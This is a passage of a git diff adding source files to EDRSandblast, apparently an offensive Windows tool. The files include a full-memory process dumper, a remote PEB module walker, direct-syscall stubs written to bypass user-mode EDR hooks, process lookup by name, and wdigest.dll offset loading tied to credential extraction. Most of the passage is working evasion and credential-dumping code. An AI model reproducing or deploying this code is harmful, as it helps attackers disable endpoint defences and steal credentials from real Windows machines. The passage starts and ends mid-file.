pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL); + if (!dumped) { + _tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError()); + return 1; + } + _tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile); + CloseHandle(hProcess); + + } while (Process32Next(hProcessSnap, &pe32)); + + CloseHandle(hProcessSnap); + return 0; +} + +DWORD WINAPI dumpProcessFromThread(PVOID* args) { + return dumpProcess(args[0], args[1]); +} \ No newline at end of file diff --git a/EDRSandblast/Utils/RemotePEBBrowser.c b/EDRSandblast/Utils/RemotePEBBrowser.c new file mode 100644 index 0000000..971352c --- /dev/null +++ b/EDRSandblast/Utils/RemotePEBBrowser.c @@ -0,0 +1,211 @@ +#include "RemotePEBBrowser.h" +#include "SW2_Syscalls.h" + +PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) { + return (PVOID)(baseAddress + RVA); +} + +// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList. +PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) { + // Get target process PEB address. + PROCESS_BASIC_INFORMATION basicInfo = { 0 }; + basicInfo.PebBaseAddress = 0; + PROCESSINFOCLASS ProcessInformationClass = 0; + NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n")); + return NULL; + } + +#if _WIN64 + PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr)); +#else + PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr)); +#endif + + PPEB_LDR_DATA pprocessLdr = NULL; + status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status); + return NULL; + } + + // As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C. + return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList)); +} + +PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) { + PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO)); + + if (!newModuleInfo) { + _tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n")); + return NULL; + } + + newModuleInfo->next = NULL; + newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase; + newModuleInfo->ImageSize = ldrEntry->SizeOfImage; + newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp; + newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum; + + // read the full path of the DLL + NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status); + return NULL; + } + + return newModuleInfo; +} + +PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) { + PMODULE_INFO pmoduleList = NULL; + NTSTATUS status = FALSE; + + // Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY. + PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess); + if (!pLdrAddressInPeb) { + return NULL; + } + + // Iterate over the linked list by InMemoryOrderModuleList order. + LDR_DATA_TABLE_ENTRY LdrCurrentEntry; + PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb; + + while (TRUE) { + // Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks). + status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status); + return NULL; + } + + // Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct. + pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)); + + // Looped back to the first entry. + if (pLdrAddressInPeb == pLdrCurrentEntryAddress) { + break; + } + + // Read LDR_DATA_TABLE_ENTRY data for the current element. + status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status); + return NULL; + } + + // Create module info for list using the current LDR_DATA_TABLE_ENTRY entry. + PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry); + if (!pnewModuleInfo) { + return NULL; + } + + // Insert the new module info element to the module list. + if (!pmoduleList) { + pmoduleList = pnewModuleInfo; + } + else { + PMODULE_INFO plastModule = pmoduleList; + while (plastModule->next) { + plastModule = plastModule->next; + } + plastModule->next = pnewModuleInfo; + } + } + + return pmoduleList; +} + +PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) { + PMEMORY_PAGE_INFO prangesList = NULL; + PMEMORY_PAGE_INFO newRange = NULL; + PVOID baseAddress = NULL; + PVOID currentAddress = NULL; + ULONG64 regionSize = 0; + MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 }; + MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 }; + NTSTATUS status = STATUS_UNSUCCESSFUL; + + while (TRUE) { + status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL); + + // The specified base address is outside the range of accessible addresses, iteration is finished. + if (status == STATUS_INVALID_PARAMETER) { + break; + } + else if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status); + return NULL; + } + + baseAddress = memoryBasicInfo.BaseAddress; + regionSize = memoryBasicInfo.RegionSize; + + // Overflow. + if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) { + break; + } + + // Next memory range. + currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize); + + if (filterPage) { + // Ignore non-commited pages. + if (memoryBasicInfo.State != MEM_COMMIT) { + continue; + } + + // Ignore mapped pages. + if (memoryBasicInfo.Type == MEM_MAPPED) { + continue; + } + + // Ignore pages with PAGE_NOACCESS. { + if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) { + continue; + } + + // Ignore pages with PAGE_GUARD. + if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) { + continue; + } + + // Ignore pages with PAGE_EXECUTE. { + if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) { + continue; + } + } + + newRange = calloc(1, sizeof(MEMORY_PAGE_INFO)); + if (!newRange) { + _tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO")); + return NULL; + } + + newRange->next = NULL; + newRange->startOfMemoryPage = (ULONG_PTR)baseAddress; + newRange->dataSize = regionSize; + newRange->state = memoryBasicInfo.State; + newRange->protect = memoryBasicInfo.Protect; + newRange->type = memoryBasicInfo.Type; + + if (!prangesList) { + prangesList = newRange; + } + else { + PMEMORY_PAGE_INFO lastRange = prangesList; + while (lastRange->next) { + lastRange = lastRange->next; + } + lastRange->next = newRange; + } + } + + if (!prangesList) { + _tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page")); + return NULL; + } + + return prangesList; +} diff --git a/EDRSandblast/Utils/SW2_Syscalls.c b/EDRSandblast/Utils/SW2_Syscalls.c new file mode 100644 index 0000000..110d787 --- /dev/null +++ b/EDRSandblast/Utils/SW2_Syscalls.c @@ -0,0 +1,106 @@ +#include "PEBBrowse.h" +#include "PEParser.h" +#include "SW2_Syscalls.h" + +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +SW2_SYSCALL_LIST SW2_SyscallList; + +DWORD SW2_HashSyscall(PCSTR FunctionName) +{ + DWORD i = 0; + DWORD Hash = SW2_SEED; + + while (FunctionName[i]) + { + WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); + Hash ^= PartialName + SW2_ROR8(Hash); + } + + return Hash; +} + +int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) { + if (a->RVA < b->RVA) { + return -1; + } + else if (a->RVA > b->RVA) { + return +1; + } + else { + return 0; + } +} + +int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) { + if (a->Hash < b->Hash) { + return -1; + } + else if (a->Hash > b->Hash) { + return +1; + } + else { + return 0; + } +} + +BOOL SW2_PopulateSyscallList(void) +{ + // Return early if the list is already populated. + if (SW2_SyscallList.Count) return TRUE; + + PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE); + // Populate SW2_SyscallList with unsorted Zw* entries. + DWORD i = 0; + PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; + for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) { + LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]); + if (*(WORD*)functionName == *((WORD*)"Zw")) { + Entries[i].Hash = SW2_HashSyscall(functionName); + Entries[i].RVA = PE_functionRVA(ntdll, functionName); + i++; + } + } + + // Save total number of system calls found. + SW2_SyscallList.Count = i; + + // Sort the list by address in ascending order. + qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA); + + // Deduce the syscall numbers. + for (DWORD j = 0; j < SW2_SyscallList.Count; j++) { + SW2_SyscallList.Entries[j].SyscallNumber = j; + } + + // Sort the list by hash for quicker search. + qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash); + + return TRUE; +} + +EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) +{ + // Ensure SW2_SyscallList is populated. + if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF; + + DWORD down = 0; + DWORD up = SW2_SyscallList.Count; + while (up - down > 1) { + DWORD mid = (down + up) / 2; + if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) { + down = mid; + } + else { + up = mid; + } + } + if (SW2_SyscallList.Entries[down].Hash == FunctionHash) { + return SW2_SyscallList.Entries[down].SyscallNumber; + } + else { + return 0xFFFFFFFF; + } + +} diff --git a/EDRSandblast/Utils/SW2_Syscalls_stubs.x64.asm b/EDRSandblast/Utils/SW2_Syscalls_stubs.x64.asm new file mode 100644 index 0000000..bf15598 --- /dev/null +++ b/EDRSandblast/Utils/SW2_Syscalls_stubs.x64.asm @@ -0,0 +1,71 @@ +.data +currentHash DWORD 0 + +.code +EXTERN SW2_GetSyscallNumber: PROC + +WhisperMain PROC + pop rax + mov [rsp+ 8], rcx ; Save registers. + mov [rsp+16], rdx + mov [rsp+24], r8 + mov [rsp+32], r9 + sub rsp, 28h + mov ecx, currentHash + call SW2_GetSyscallNumber + add rsp, 28h + mov rcx, [rsp+ 8] ; Restore registers. + mov rdx, [rsp+16] + mov r8, [rsp+24] + mov r9, [rsp+32] + mov r10, rcx + syscall ; Issue syscall + ret +WhisperMain ENDP + +NtGetNextProcess PROC + mov currentHash, 0CD50C4CCh ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtGetNextProcess ENDP + +NtQueryInformationProcess PROC + mov currentHash, 055A17810h ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtQueryInformationProcess ENDP + +NtClose PROC + mov currentHash, 054DEA057h ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtClose ENDP + +NtAllocateVirtualMemory PROC + mov currentHash, 08708BDBBh ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtAllocateVirtualMemory ENDP + +NtOpenProcess PROC + mov currentHash, 0FDBCE430h ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtOpenProcess ENDP + +NtQueryVirtualMemory PROC + mov currentHash, 083906983h ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtQueryVirtualMemory ENDP + +NtReadVirtualMemory PROC + mov currentHash, 0309A0DDEh ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtReadVirtualMemory ENDP + +NtCreateFile PROC + mov currentHash, 086A15898h ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtCreateFile ENDP + +NtWriteFile PROC + mov currentHash, 0B224DCF0h ; Load function hash into global variable. + call WhisperMain ; Resolve function hash into syscall number and make the call +NtWriteFile ENDP + +end \ No newline at end of file diff --git a/EDRSandblast/Utils/SignatureOps.c b/EDRSandblast/Utils/SignatureOps.c new file mode 100644 index 0000000..2b40a38 --- /dev/null +++ b/EDRSandblast/Utils/SignatureOps.c @@ -0,0 +1,204 @@ +#include "SignatureOps.h" +#include "../EDRSandblast.h" + +// Concat in pSigners output the list of Signer(s) signing the specified file on disk. +SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) { + HCERTSTORE hCertStore = NULL; + HCRYPTMSG hCryptMsg = NULL; + DWORD dwCountSigners = 0; + DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD); + PCMSG_SIGNER_INFO pSignerInfo = NULL; + CERT_INFO certificateInfo = { 0 }; + PCCERT_CONTEXT pCertContext = NULL; + TCHAR* tmpSignerName = NULL; + TCHAR* pSigners = NULL; + TCHAR* tmpSignerHolder = NULL; + size_t sztmpSignerHolder = 0; + TCHAR signerSeperator[] = TEXT(" | "); + DWORD dwError = 0; + BOOL returnStatus = 0; + + returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE, + pFilePath, + CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED, + CERT_QUERY_FORMAT_FLAG_BINARY, + 0, + NULL, + NULL, + NULL, + &hCertStore, + &hCryptMsg, + NULL); + + if (!returnStatus) { + dwError = GetLastError(); + // File is not signed. + if (dwError == CRYPT_E_NO_MATCH) { + return E_NOT_SIGNED; + } + else { + _tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError()); + return E_KO; + } + } + + // Check that the file has at least one Signer. + returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz); + if (!returnStatus) { + _tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError()); + goto cleanup; + } + + if (dwCountSigners == 0) { + _tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath); + CryptMsgClose(hCryptMsg); + hCryptMsg = NULL; + CertCloseStore(hCertStore, 0); + hCertStore = NULL; + return E_NOT_SIGNED; + } + + // Get Signer name of each certificates and concat to Signers string. + for (DWORD index = 0; index < dwCountSigners; index++) { + // index = 0; + dwcbSz = 0; + if (pSignerInfo) { + free(pSignerInfo); + pSignerInfo = NULL; + } + if (tmpSignerName) { + free(tmpSignerName); + tmpSignerName = NULL; + } + if (pCertContext) { + CertFreeCertificateContext(pCertContext); + pCertContext = NULL; + } + + // Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber). + // First call CryptMsgGetParam to retrieve the size neeeded for the buffer. + returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz); + if (!returnStatus || !dwcbSz) { + _tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError()); + goto cleanup; + } + + // Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM. + pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE)); + if (!pSignerInfo) { + _putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO")); + goto cleanup; + } + + // Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return. + dwcbSzPrevious = dwcbSz; + returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz); + if (!returnStatus || (dwcbSzPrevious != dwcbSz)) { + _tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError()); + goto cleanup; + } + + // Build CERT_INFO for certificate lookup using CertFindCertificateInStore. + memset(&certificateInfo, 0, sizeof(CERT_INFO)); + certificateInfo.Issuer = pSignerInfo->Issuer; + certificateInfo.SerialNumber = pSignerInfo->SerialNumber; + + // Certificate lookup matching the Issuer and SerialNumber in hCertStore. + pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL); + if (!pCertContext) { + _tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError()); + goto cleanup; + } + + // Retrieves the subject name. First call is done to determine the subject name size. + dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0); + tmpSignerName = calloc(dwcbSz, sizeof(TCHAR)); + if (!tmpSignerName) { + _putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name.")); + goto cleanup; + } + + CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz); + if (!tmpSignerName) { + _tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError()); + goto cleanup; + } + + // Concat the subject to the already found ones, if any. + if (pSigners) { + sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1; + tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR)); + if (!tmpSignerHolder) { + _putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers")); + goto cleanup; + } + _tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners); + _tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator); + _tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName); + free(pSigners); + pSigners = tmpSignerHolder; + break; + } + else { + sztmpSignerHolder = _tcsclen(tmpSignerName) + 1; + pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR)); + if (!pSigners) { + _putts_or_not(TEXT("[!] Couldn't allocate memory for first signer")); + goto cleanup; + } + _tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName); + } + } + + CertFreeCertificateContext(pCertContext); + pCertContext = NULL; + CryptMsgClose(hCryptMsg); + hCryptMsg = NULL; + CertCloseStore(hCertStore, 0); + hCertStore = NULL; + free(pSignerInfo); + pSignerInfo = NULL; + free(tmpSignerName); + tmpSignerName = NULL; + + if (!outSigners || (*szOutSigners < sztmpSignerHolder)) { + *szOutSigners = sztmpSignerHolder; + free(pSigners); + return E_INSUFFICIENT_BUFFER; + } + else { + *szOutSigners = sztmpSignerHolder; + _tcscat_s(outSigners, sztmpSignerHolder, pSigners); + free(pSigners); + return E_SUCCESS; + } + +cleanup: + + if (pCertContext) { + CertFreeCertificateContext(pCertContext); + pCertContext = NULL; + } + + if (hCryptMsg) { + CryptMsgClose(hCryptMsg); + hCryptMsg = NULL; + } + + if (hCertStore) { + CertCloseStore(hCertStore, 0); + hCertStore = NULL; + } + + if (pSignerInfo) { + free(pSignerInfo); + pSignerInfo = NULL; + } + + if (tmpSignerName) { + free(tmpSignerName); + tmpSignerName = NULL; + } + + return E_KO; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/StringUtils.c b/EDRSandblast/Utils/StringUtils.c new file mode 100644 index 0000000..48d2b5f --- /dev/null +++ b/EDRSandblast/Utils/StringUtils.c @@ -0,0 +1,71 @@ +/* + +--- Utility function to generate a random string. + +*/ + +#include "StringUtils.h" + +//BOOL isFullPath(IN TCHAR* filename) { +// char c; +// +// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) { +// return TRUE; +// } +// +// c = filename[0] | 0x20; +// if (c < 97 || c > 122) { +// return FALSE; +// } +// +// c = filename[1]; +// if (c != ':') { +// return FALSE; +// } +// +// c = filename[2]; +// if (c != '\\') { +// return FALSE; +// } +// +// return TRUE; +//} + +VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) { + unicodeString->Buffer = wcharString; + unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR); + unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR); +} + +BOOL srandDone = FALSE; + +/* +* Generates a "length"-long random alphanumeric string +* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long) +*/ +TCHAR* generateRandomString(TCHAR* str, size_t length) { + if (!srandDone) { + srand((unsigned int)time(0)); + srandDone = TRUE; + } + + const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; + if (length) { + for (size_t n = 0; n < length; n++) { + int key = rand() % (int)(sizeof charset - 1); + str[n] = charset[key]; + } + str[length] = '\0'; + } + return str; +} + + +TCHAR* allocAndGenerateRandomString(size_t length) { + LPTSTR str = calloc(length + 1, sizeof(TCHAR)); + if (str == NULL) { + return NULL; + } + generateRandomString(str, length); + return str; +} diff --git a/EDRSandblast/Utils/SyscallProcessUtils.c b/EDRSandblast/Utils/SyscallProcessUtils.c new file mode 100644 index 0000000..b15841a --- /dev/null +++ b/EDRSandblast/Utils/SyscallProcessUtils.c @@ -0,0 +1,120 @@ +#include "SyscallProcessUtils.h" + +// Retrieve a given process PID. +DWORD SandGetProcessPID(HANDLE hProcess) { + PROCESS_BASIC_INFORMATION basicInformation; + basicInformation.UniqueProcessId = 0; + PROCESSINFOCLASS ProcessInformationClass = 0; + + NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL); + if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status); + return 0; + } + + return (DWORD) basicInformation.UniqueProcessId; +} + +// Retrieve a given process image (PE full path). +PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) { + NTSTATUS status; + ULONG ProcessImageLength = 1; + PUNICODE_STRING ProcessImageBuffer = NULL; + + do { + ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR)); + if (!ProcessImageBuffer) { + _tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n")); + return NULL; + } + + status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength); + if (NT_SUCCESS(status)) { + break; + } + + free(ProcessImageBuffer); + ProcessImageBuffer = NULL; + } while (status == STATUS_INFO_LENGTH_MISMATCH); + + if (!ProcessImageBuffer) { + _tprintf_or_not(TEXT("[-] Failed to retrieve process image\n")); + return NULL; + } + + return ProcessImageBuffer; +} + +// Extract filename from process image full path. +DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) { + if (ProcessImageUnicodeStr->Length == 0) { + return 0; + } + + // Process name will be /binary.exe. + TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\')); + if (!ProcessName) { + return 0; + } + + // Skip the /. + ProcessName = &ProcessName[1]; + + DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName); + if (ProcessNameLength > nSize) { + _tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n")); + return 0; + } + + _tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE); + return ProcessNameLength; +} + +// Find a process PID using its filename. +DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) { + DWORD status = STATUS_UNSUCCESSFUL; + HANDLE hProcess = NULL; + PUNICODE_STRING currentProcessImage = NULL; + TCHAR* currentProcessName = NULL; + DWORD currentProcessNameSz = 0; + + *pPid = 0; + + while (*pPid == 0) { + status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess); + + if (status == STATUS_NO_MORE_ENTRIES) { + _tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName); + return STATUS_NO_MORE_ENTRIES; + } + else if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status); + return status; + } + + currentProcessImage = SandGetProcessImage(hProcess); + currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR)); + if (!currentProcessName) { + _tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n")); + return STATUS_UNSUCCESSFUL; + } + currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength); + + if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) { + *pPid = SandGetProcessPID(hProcess); + break; + } + + free(currentProcessImage); + currentProcessImage = NULL; + free(currentProcessName); + currentProcessName = NULL; + } + + if (*pPid) { + return STATUS_SUCCES; + } + else { + return STATUS_UNSUCCESSFUL; + } +} diff --git a/EDRSandblast/Utils/WdigestOffsets.c b/EDRSandblast/Utils/WdigestOffsets.c index e45dc6a..48b7375 100644 --- a/EDRSandblast/Utils/WdigestOffsets.c +++ b/EDRSandblast/Utils/WdigestOffsets.c @@ -9,24 +9,25 @@ #include #include +#include "../EDRSandblast.h" #include "FileVersion.h" +#include "PdbSymbols.h" + #include "WdigestOffsets.h" -union WdigestOffsets wdigestOffsets = { 0 }; +union WdigestOffsets g_wdigestOffsets = { 0 }; // Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. -union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) { - TCHAR wdigestVersion[256] = { 0 }; - GetWdigestVersion(wdigestVersion); - _tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion); +void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) { + LPTSTR wdigestVersion = GetWdigestVersion(); + _tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion); FILE* offsetFileStream = NULL; _tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r")); - union WdigestOffsets offsetResults = { 0 }; if (offsetFileStream == NULL) { - _tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n")); - return offsetResults; + _putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!")); + return; } TCHAR lineWdigestVersion[256]; @@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) { _tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) { TCHAR* endptr; - _tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion); - // TODO: switch hardcoded value to sizeof or const defined - for (int i = 0; i < 2; i++) { - offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + _tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion); + for (int i = 0; i < 